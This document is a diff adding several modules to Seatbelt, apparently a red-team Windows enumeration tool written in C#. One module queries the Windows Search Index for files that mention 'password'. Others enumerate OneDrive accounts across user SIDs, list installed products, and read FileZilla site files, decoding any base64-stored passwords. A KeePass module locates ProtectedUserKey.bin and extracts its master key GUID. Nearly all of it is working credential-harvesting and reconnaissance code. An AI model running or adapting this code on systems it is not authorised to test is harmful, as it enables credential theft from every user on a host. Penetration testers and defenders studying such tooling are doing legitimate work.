internal class LolbasDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public LolbasDTO(string path)
|
||||||
|
{
|
||||||
|
Path = path;
|
||||||
|
}
|
||||||
|
public string Path { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(LolbasDTO))]
|
||||||
|
internal class LolbasFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public LolbasFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (LolbasDTO)result;
|
||||||
|
WriteLine($"Path: {dto.Path}");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,143 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Data.OleDb;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class SearchIndexCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SearchIndex";
|
||||||
|
|
||||||
|
public override string Description => "Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>";
|
||||||
|
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => false; // maybe?
|
||||||
|
|
||||||
|
public SearchIndexCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<WindowsSearchIndexDTO> SearchWindowsIndex(string searchPath = @"C:\Users\", string criteria = "password")
|
||||||
|
{
|
||||||
|
var format = @"SELECT System.ItemPathDisplay,System.FileOwner,System.Size,System.DateCreated,System.DateAccessed,System.Search.Autosummary FROM SystemIndex WHERE Contains(*, '""*{0}*""') AND SCOPE = '{1}' AND (System.FileExtension = '.txt' OR System.FileExtension = '.doc' OR System.FileExtension = '.docx' OR System.FileExtension = '.ppt' OR System.FileExtension = '.pptx' OR System.FileExtension = '.xls' OR System.FileExtension = '.xlsx' OR System.FileExtension = '.ps1' OR System.FileExtension = '.vbs' OR System.FileExtension = '.config' OR System.FileExtension = '.ini')";
|
||||||
|
var connectionString = "Provider=Search.CollatorDSO;Extended Properties=\"Application=Windows\"";
|
||||||
|
|
||||||
|
using var connection = new OleDbConnection(connectionString);
|
||||||
|
var query = string.Format(format, criteria, searchPath);
|
||||||
|
#pragma warning disable CA2100
|
||||||
|
var command = new OleDbCommand(query, connection);
|
||||||
|
#pragma warning restore CA2100
|
||||||
|
connection.Open();
|
||||||
|
|
||||||
|
OleDbDataReader reader;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
reader = command.ExecuteReader();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
WriteError("Unable to query the Search Indexer, Search Index is likely not running.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (reader.Read())
|
||||||
|
{
|
||||||
|
var AutoSummary = "";
|
||||||
|
var FileOwner = "";
|
||||||
|
try { AutoSummary = reader.GetString(5); } catch { }
|
||||||
|
try { FileOwner = reader.GetString(1); } catch { }
|
||||||
|
|
||||||
|
yield return new WindowsSearchIndexDTO()
|
||||||
|
{
|
||||||
|
Path = reader.GetString(0),
|
||||||
|
FileOwner = FileOwner,
|
||||||
|
Size = Decimal.ToUInt64((Decimal)reader.GetValue(2)),
|
||||||
|
DateCreated = reader.GetDateTime(3),
|
||||||
|
DateAccessed = reader.GetDateTime(4),
|
||||||
|
AutoSummary = AutoSummary
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
connection.Close();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
if (args.Length == 0)
|
||||||
|
{
|
||||||
|
foreach (var result in SearchWindowsIndex())
|
||||||
|
{
|
||||||
|
yield return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (args.Length == 1)
|
||||||
|
{
|
||||||
|
if (System.IO.Directory.Exists(args[0]))
|
||||||
|
{
|
||||||
|
foreach (var result in SearchWindowsIndex(args[0]))
|
||||||
|
{
|
||||||
|
yield return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
var terms = args[0].Split(',');
|
||||||
|
foreach (var term in terms)
|
||||||
|
{
|
||||||
|
foreach (var result in SearchWindowsIndex(@"C:\Users\", term))
|
||||||
|
{
|
||||||
|
yield return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (args.Length == 2)
|
||||||
|
{
|
||||||
|
var terms = args[1].Split(',');
|
||||||
|
foreach (var term in terms)
|
||||||
|
{
|
||||||
|
foreach (var result in SearchWindowsIndex(args[0], term))
|
||||||
|
{
|
||||||
|
yield return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class WindowsSearchIndexDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Path { get; set; }
|
||||||
|
public string FileOwner { get; set; }
|
||||||
|
public UInt64 Size { get; set; }
|
||||||
|
public DateTime DateCreated { get; set; }
|
||||||
|
public DateTime DateAccessed { get; set; }
|
||||||
|
public string AutoSummary { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(WindowsSearchIndexDTO))]
|
||||||
|
internal class WindowsSearchIndexTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public WindowsSearchIndexTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (WindowsSearchIndexDTO)result;
|
||||||
|
|
||||||
|
WriteLine("ItemUrl : {0}", dto.Path);
|
||||||
|
WriteLine("FileOwner : {0}", dto.FileOwner);
|
||||||
|
WriteLine("Size : {0}", dto.Size);
|
||||||
|
WriteLine("DateCreated : {0}", dto.DateCreated);
|
||||||
|
WriteLine("DateAccessed : {0}", dto.DateAccessed);
|
||||||
|
WriteLine("AutoSummary :");
|
||||||
|
WriteLine("{0}\n\n", dto.AutoSummary);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,208 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using System;
|
||||||
|
|
||||||
|
// Any command you create should not generate compiler warnings
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
// Module to enumerate information from tools such as OneDrive
|
||||||
|
// Stuart Morgan <stuart.morgan@mwrinfosecurity.com> @ukstufus
|
||||||
|
class OneDriveSyncProvider
|
||||||
|
{
|
||||||
|
// Stores the mapping between a sync ID and mount point
|
||||||
|
public Dictionary<string, Dictionary<string, string>> mpList = new Dictionary<string, Dictionary<string, string>>();
|
||||||
|
// Stores the list of OneDrive accounts configured in the registry
|
||||||
|
public Dictionary<string, Dictionary<string, string>> oneDriveList = new Dictionary<string, Dictionary<string, string>>();
|
||||||
|
// Stores the mapping between the account and the mountpoint IDs
|
||||||
|
public Dictionary<string, List<string>> AcctoMPMapping = new Dictionary<string, List<string>>();
|
||||||
|
// Stores the 'used' scopeIDs (to identify orphans)
|
||||||
|
public List<string> usedScopeIDs = new List<string>();
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CloudSyncProviderCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "CloudSyncProviders";
|
||||||
|
public override string Description => "All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.User};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public CloudSyncProviderCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
// use a constructor of this type if you want to support remote operations
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
|
||||||
|
// Get all of the user SIDs (so will cover all users if run as an admin or has access to other user's reg keys)
|
||||||
|
var SIDs = ThisRunTime.GetUserSIDs();
|
||||||
|
foreach (var sid in SIDs)
|
||||||
|
{
|
||||||
|
if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) // Disregard anything that isn't a user
|
||||||
|
continue;
|
||||||
|
|
||||||
|
OneDriveSyncProvider o = new OneDriveSyncProvider();
|
||||||
|
|
||||||
|
// Now get each of the IDs (they aren't GUIDs but are an identity value for the specific library to sync)
|
||||||
|
var subKeys = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\SyncEngines\\Providers\\OneDrive");
|
||||||
|
if (subKeys == null)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// Now go through each of them, get the metadata and stick it in the 'provider' dict. It'll get cross referenced later.
|
||||||
|
foreach (string rname in subKeys)
|
||||||
|
{
|
||||||
|
Dictionary<string, string> provider = new Dictionary<string, string>();
|
||||||
|
foreach (string x in new List<string> { "LibraryType", "LastModifiedTime", "MountPoint", "UrlNamespace" })
|
||||||
|
{
|
||||||
|
var result = ThisRunTime.GetStringValue(RegistryHive.Users, $"{sid}\\Software\\SyncEngines\\Providers\\OneDrive\\{rname}", x);
|
||||||
|
if (!string.IsNullOrEmpty(result))
|
||||||
|
provider[x] = result;
|
||||||
|
}
|
||||||
|
o.mpList[rname] = provider;
|
||||||
|
}
|
||||||
|
|
||||||
|
var odAccounts = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\OneDrive\\Accounts");
|
||||||
|
if (odAccounts == null)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (string acc in odAccounts)
|
||||||
|
{
|
||||||
|
Boolean business = false;
|
||||||
|
Dictionary<string, string> account = new Dictionary<string, string>();
|
||||||
|
foreach (string x in new List<string> { "DisplayName", "Business", "ServiceEndpointUri", "SPOResourceId", "UserEmail", "UserFolder", "UserName", "WebServiceUrl" })
|
||||||
|
{
|
||||||
|
var result = ThisRunTime.GetStringValue(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\OneDrive\\Accounts\\{acc}", x);
|
||||||
|
if (!string.IsNullOrEmpty(result))
|
||||||
|
account[x] = result;
|
||||||
|
if (x == "Business")
|
||||||
|
business = (String.Compare(result,"1")==0) ? true : false;
|
||||||
|
}
|
||||||
|
var odMountPoints = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\OneDrive\\Accounts\\{acc}\\ScopeIdToMountPointPathCache");
|
||||||
|
List<string> ScopeIds = new List<string>();
|
||||||
|
if (business == true)
|
||||||
|
{
|
||||||
|
foreach (var mp in odMountPoints)
|
||||||
|
{
|
||||||
|
ScopeIds.Add(mp.Key);
|
||||||
|
}
|
||||||
|
} else
|
||||||
|
{
|
||||||
|
ScopeIds.Add(acc); // If its a personal account, OneDrive adds it as 'Personal' or the name of the account, not by the ScopeId itself. You can only have one personal account.
|
||||||
|
}
|
||||||
|
o.AcctoMPMapping[acc] = ScopeIds;
|
||||||
|
o.oneDriveList[acc] = account;
|
||||||
|
o.usedScopeIDs.AddRange(ScopeIds);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new CloudSyncProviderDTO(
|
||||||
|
sid,
|
||||||
|
o
|
||||||
|
);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class CloudSyncProviderDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public CloudSyncProviderDTO(string sid, OneDriveSyncProvider odsp)
|
||||||
|
{
|
||||||
|
Sid = sid;
|
||||||
|
Odsp = odsp;
|
||||||
|
}
|
||||||
|
public string Sid { get; }
|
||||||
|
public OneDriveSyncProvider Odsp { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// This is optional.
|
||||||
|
// If you want to format the output in a particular way, implement it here.
|
||||||
|
// A good example is .\Seatbelt\Commands\Windows\NtlmSettingsCommand.cs
|
||||||
|
// If this class does not exist, Seatbelt will use the DefaultTextFormatter class
|
||||||
|
[CommandOutputType(typeof(CloudSyncProviderDTO))]
|
||||||
|
internal class CloudSyncProviderFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public CloudSyncProviderFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (CloudSyncProviderDTO) result;
|
||||||
|
|
||||||
|
WriteLine(" {0} :", dto.Sid);
|
||||||
|
|
||||||
|
foreach (var item in dto.Odsp.oneDriveList)
|
||||||
|
{
|
||||||
|
|
||||||
|
// If there are no parameters, move on
|
||||||
|
if (item.Value.Count == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
string accName = item.Key;
|
||||||
|
WriteLine("\r\n {0} :", accName);
|
||||||
|
|
||||||
|
// These are the core parameters for each account
|
||||||
|
foreach (var subItem in item.Value)
|
||||||
|
{
|
||||||
|
WriteLine(" {0} : {1}", subItem.Key, subItem.Value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now display the mountpoints
|
||||||
|
foreach (string mp in dto.Odsp.AcctoMPMapping[accName])
|
||||||
|
{
|
||||||
|
WriteLine("");
|
||||||
|
|
||||||
|
if (!dto.Odsp.mpList.ContainsKey(mp))
|
||||||
|
continue;
|
||||||
|
foreach (var mpSub in dto.Odsp.mpList[mp])
|
||||||
|
{
|
||||||
|
if (mpSub.Key == "LastModifiedTime")
|
||||||
|
{
|
||||||
|
DateTime parsedDate;
|
||||||
|
DateTime.TryParse(mpSub.Value, out parsedDate);
|
||||||
|
string formattedDate = parsedDate.ToString("ddd dd MMM yyyy HH:mm:ss");
|
||||||
|
WriteLine(" | {0} : {1} ({2})", mpSub.Key, mpSub.Value, formattedDate);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteLine(" | {0} : {1}", mpSub.Key, mpSub.Value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now look for 'Orphaned' accounts
|
||||||
|
List<string> AllScopeIds = new List<string>(dto.Odsp.mpList.Keys);
|
||||||
|
WriteLine("\r\n Orphaned :");
|
||||||
|
foreach (string scopeid in AllScopeIds)
|
||||||
|
{
|
||||||
|
if (!dto.Odsp.usedScopeIDs.Contains(scopeid))
|
||||||
|
{
|
||||||
|
foreach (var mpSub in dto.Odsp.mpList[scopeid])
|
||||||
|
{
|
||||||
|
if (mpSub.Key == "LastModifiedTime")
|
||||||
|
{
|
||||||
|
DateTime parsedDate;
|
||||||
|
DateTime.TryParse(mpSub.Value, out parsedDate);
|
||||||
|
string formattedDate = parsedDate.ToString("ddd dd MMM yyyy HH:mm:ss");
|
||||||
|
WriteLine(" {0} : {1} ({2})", mpSub.Key, mpSub.Value, formattedDate);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteLine(" {0} : {1}", mpSub.Key, mpSub.Value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WriteLine("");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WriteLine("");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,181 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Xml;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class FileZillaConfig
|
||||||
|
{
|
||||||
|
public FileZillaConfig(string filePath, string name, string host, string port, string protocol, string userName, string password)
|
||||||
|
{
|
||||||
|
FilePath = filePath;
|
||||||
|
Name = name;
|
||||||
|
Host = host;
|
||||||
|
Port = port;
|
||||||
|
Protocol = protocol;
|
||||||
|
UserName = userName;
|
||||||
|
Password = password;
|
||||||
|
}
|
||||||
|
public string FilePath { get; set; }
|
||||||
|
|
||||||
|
public string Name { get; set; }
|
||||||
|
|
||||||
|
public string Host { get; set; }
|
||||||
|
|
||||||
|
public string Port { get; set; }
|
||||||
|
|
||||||
|
public string Protocol { get; set; }
|
||||||
|
|
||||||
|
public string UserName { get; set; }
|
||||||
|
|
||||||
|
public string Password { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
internal class FileZillaCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "FileZilla";
|
||||||
|
public override string Description => "FileZilla configuration files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public FileZillaCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// inspired by https://github.com/EncodeGroup/Gopher/blob/master/Holes/FileZilla.cs (@lefterispan)
|
||||||
|
|
||||||
|
// information on FileZilla master key encryption:
|
||||||
|
// https://forum.filezilla-project.org/viewtopic.php?f=3&t=64&start=1005#p156191
|
||||||
|
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
var configs = new List<FileZillaConfig>();
|
||||||
|
|
||||||
|
string[] paths = { $"{dir}\\AppData\\Roaming\\FileZilla\\sitemanager.xml", $"{dir}\\AppData\\Roaming\\FileZilla\\recentservers.xml" };
|
||||||
|
|
||||||
|
foreach (var path in paths)
|
||||||
|
{
|
||||||
|
if (!File.Exists(path))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var xmlDoc = new XmlDocument();
|
||||||
|
|
||||||
|
xmlDoc.Load(path);
|
||||||
|
|
||||||
|
// handle "Servers" (sitemanager.xml) and "RecentServers" (recentservers.xml)
|
||||||
|
var servers = xmlDoc.GetElementsByTagName("Servers");
|
||||||
|
if(servers.Count == 0)
|
||||||
|
servers = xmlDoc.GetElementsByTagName("RecentServers");
|
||||||
|
|
||||||
|
// ensure we have at least one server to process
|
||||||
|
if ((servers.Count == 0) || (servers[0].ChildNodes.Count <= 0))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (XmlNode server in servers[0].ChildNodes)
|
||||||
|
{
|
||||||
|
var name = "<RECENT SERVER>";
|
||||||
|
var tempName = server.SelectSingleNode("Name");
|
||||||
|
if (tempName != null)
|
||||||
|
{
|
||||||
|
name = server.SelectSingleNode("Name").InnerText;
|
||||||
|
}
|
||||||
|
|
||||||
|
var host = server.SelectSingleNode("Host").InnerText;
|
||||||
|
var port = server.SelectSingleNode("Port").InnerText;
|
||||||
|
var protocol = server.SelectSingleNode("Protocol").InnerText;
|
||||||
|
var user = server.SelectSingleNode("User").InnerText;
|
||||||
|
|
||||||
|
var tempPassword = server.SelectSingleNode("Pass");
|
||||||
|
var password = "<NULL>";
|
||||||
|
|
||||||
|
if (tempPassword != null)
|
||||||
|
{
|
||||||
|
if (tempPassword.Attributes["encoding"].Value == "base64")
|
||||||
|
{
|
||||||
|
password = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(tempPassword.InnerText));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
password = "<PROTECTED BY MASTERKEY>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var config = new FileZillaConfig(
|
||||||
|
path,
|
||||||
|
name,
|
||||||
|
host,
|
||||||
|
port,
|
||||||
|
protocol,
|
||||||
|
user,
|
||||||
|
password
|
||||||
|
);
|
||||||
|
|
||||||
|
configs.Add(config);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (configs.Count > 0)
|
||||||
|
{
|
||||||
|
yield return new FileZillaDTO(
|
||||||
|
userName,
|
||||||
|
configs
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class FileZillaDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public FileZillaDTO(string userName, List<FileZillaConfig> configs)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
Configs = configs;
|
||||||
|
}
|
||||||
|
public string UserName { get; set; }
|
||||||
|
public List<FileZillaConfig> Configs { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(FileZillaDTO))]
|
||||||
|
internal class FileZillaFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public FileZillaFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (FileZillaDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" FileZilla Configs ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var config in dto.Configs)
|
||||||
|
{
|
||||||
|
WriteLine($" FilePath : {config.FilePath}");
|
||||||
|
WriteLine($" Name : {config.Name}");
|
||||||
|
WriteLine($" Host : {config.Host}");
|
||||||
|
WriteLine($" Port : {config.Port}");
|
||||||
|
WriteLine($" Protocol : {config.Protocol}");
|
||||||
|
WriteLine($" Username : {config.UserName}");
|
||||||
|
WriteLine($" Password : {config.Password}\n");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,90 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class InstalledProductsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "InstalledProducts";
|
||||||
|
public override string Description => "Installed products via the registry";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public InstalledProductsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
string[] productKeys = { @"SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\", @"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" };
|
||||||
|
|
||||||
|
foreach (var productKey in productKeys)
|
||||||
|
{
|
||||||
|
var architecture = "x86";
|
||||||
|
if (productKey.Equals(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"))
|
||||||
|
{
|
||||||
|
architecture = "x64";
|
||||||
|
}
|
||||||
|
|
||||||
|
var subkeyNames = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, productKey) ?? new string[] { };
|
||||||
|
foreach(var subkeyName in subkeyNames)
|
||||||
|
{
|
||||||
|
var DisplayName = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "DisplayName");
|
||||||
|
var DisplayVersion = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "DisplayVersion");
|
||||||
|
var Publisher = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "Publisher");
|
||||||
|
var InstallDateStr = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"{productKey}\\{subkeyName}", "InstallDateStr");
|
||||||
|
var InstallDate = new DateTime();
|
||||||
|
|
||||||
|
if (InstallDateStr != null && !String.IsNullOrEmpty(InstallDateStr))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var year = InstallDateStr.Substring(0, 4);
|
||||||
|
var month = InstallDateStr.Substring(4, 2);
|
||||||
|
var day = InstallDateStr.Substring(6, 2);
|
||||||
|
var date = $"{year}-{month}-{day}";
|
||||||
|
InstallDate = DateTime.Parse(date);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
|
if (DisplayName != null && !String.IsNullOrEmpty(DisplayName))
|
||||||
|
{
|
||||||
|
yield return new InstalledProductsDTO(
|
||||||
|
DisplayName,
|
||||||
|
DisplayVersion,
|
||||||
|
Publisher,
|
||||||
|
InstallDate,
|
||||||
|
architecture
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InstalledProductsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public InstalledProductsDTO(string displayName, string? displayVersion, string? publisher, DateTime installDate, string architecture)
|
||||||
|
{
|
||||||
|
DisplayName = displayName;
|
||||||
|
DisplayVersion = displayVersion;
|
||||||
|
Publisher = publisher;
|
||||||
|
InstallDate = installDate;
|
||||||
|
Architecture = architecture;
|
||||||
|
}
|
||||||
|
public string DisplayName { get; }
|
||||||
|
|
||||||
|
public string? DisplayVersion { get; }
|
||||||
|
|
||||||
|
public string? Publisher { get; }
|
||||||
|
|
||||||
|
public DateTime InstallDate { get; }
|
||||||
|
|
||||||
|
public string Architecture { get; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,81 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class KeePassCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "KeePass";
|
||||||
|
public override string Description => "Finds KeePass configuration files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public KeePassCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if(File.Exists($"{dir}\\AppData\\Roaming\\KeePass\\KeePass.config.xml"))
|
||||||
|
{
|
||||||
|
string foundFile = $"{dir}\\AppData\\Roaming\\KeePass\\KeePass.config.xml";
|
||||||
|
var lastAccessed = File.GetLastAccessTime(foundFile);
|
||||||
|
var lastModified = File.GetLastWriteTime(foundFile);
|
||||||
|
var size = new FileInfo(foundFile).Length;
|
||||||
|
|
||||||
|
yield return new KeePassDTO()
|
||||||
|
{
|
||||||
|
FileName = foundFile,
|
||||||
|
MasterKeyGuid = "",
|
||||||
|
LastAccessed = lastAccessed,
|
||||||
|
LastModified = lastModified,
|
||||||
|
Size = size
|
||||||
|
};
|
||||||
|
}
|
||||||
|
if (File.Exists($"{dir}\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin"))
|
||||||
|
{
|
||||||
|
string foundFile = $"{dir}\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin";
|
||||||
|
var lastAccessed = File.GetLastAccessTime(foundFile);
|
||||||
|
var lastModified = File.GetLastWriteTime(foundFile);
|
||||||
|
var size = new FileInfo(foundFile).Length;
|
||||||
|
|
||||||
|
byte[] blobBytes = File.ReadAllBytes(foundFile);
|
||||||
|
var offset = 24;
|
||||||
|
var guidMasterKeyBytes = new byte[16];
|
||||||
|
Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16);
|
||||||
|
var guidMasterKey = new Guid(guidMasterKeyBytes);
|
||||||
|
var guidString = $"{{{guidMasterKey}}}";
|
||||||
|
|
||||||
|
yield return new KeePassDTO()
|
||||||
|
{
|
||||||
|
FileName = foundFile,
|
||||||
|
LastAccessed = lastAccessed,
|
||||||
|
LastModified = lastModified,
|
||||||
|
MasterKeyGuid = guidString,
|
||||||
|
Size = size
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class KeePassDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string? FileName { get; set; }
|
||||||
|
public string? MasterKeyGuid { get; set; }
|
||||||
|
